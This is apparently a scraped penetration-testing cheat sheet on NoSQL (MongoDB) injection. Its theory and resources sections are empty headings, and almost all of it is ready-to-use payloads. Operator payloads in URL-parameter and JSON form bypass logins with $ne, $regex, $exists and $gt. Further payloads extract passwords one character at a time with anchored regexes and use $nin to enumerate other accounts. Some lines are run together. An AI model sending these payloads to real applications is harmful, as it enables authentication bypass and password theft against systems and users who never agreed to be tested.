NoSQL Injection
Theory
Practice
Authentication Bypass
username[$ne]=toto&password[$ne]=toto #Not Equal
username[$regex]=.*&password[$regex]=.* #Regex
username[$exists]=true&password[$exists]=true #If Exist
username[$ne]=admin&password[$gt]=0 #Greater{"username": {"$ne": null}, "password": {"$ne": null} } #Not Equal
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } #Not Equal
{"username": {"$gt": undefined}, "password": {"$gt": undefined} } #greaterExtract data
username[$regex]=.{25}&pass[$ne]=1username[$eq]=admin&password[$regex]=^p
username[$eq]=admin&password[$regex]=^pa
username[$eq]=admin&password[$regex]=^pas
username[$ne]=toto&password[$regex]=^p
username[$ne]=toto&password[$regex]=^pa
username[$ne]=toto&password[$regex]=^pas#<Matches non of the values of the array> (not test and not admin)
username[$nin][admin]=admin&username[$nin][test]=test&password[$regex]=^p{"username": {"$eq": "admin"}, "password": {"$regex": ".{25}" }}{"username": {"$eq": "admin"}, "password": {"$regex": "^p" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^pa" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^pas" }}#<Matches non of the values of the array> (not test and not admin)
{"username":{"$nin":["admin", "test"]}, "username":{"$regex": "^user" } ,"password":{"$ne":"1"}} MangoDB Injection
Resources
Last updated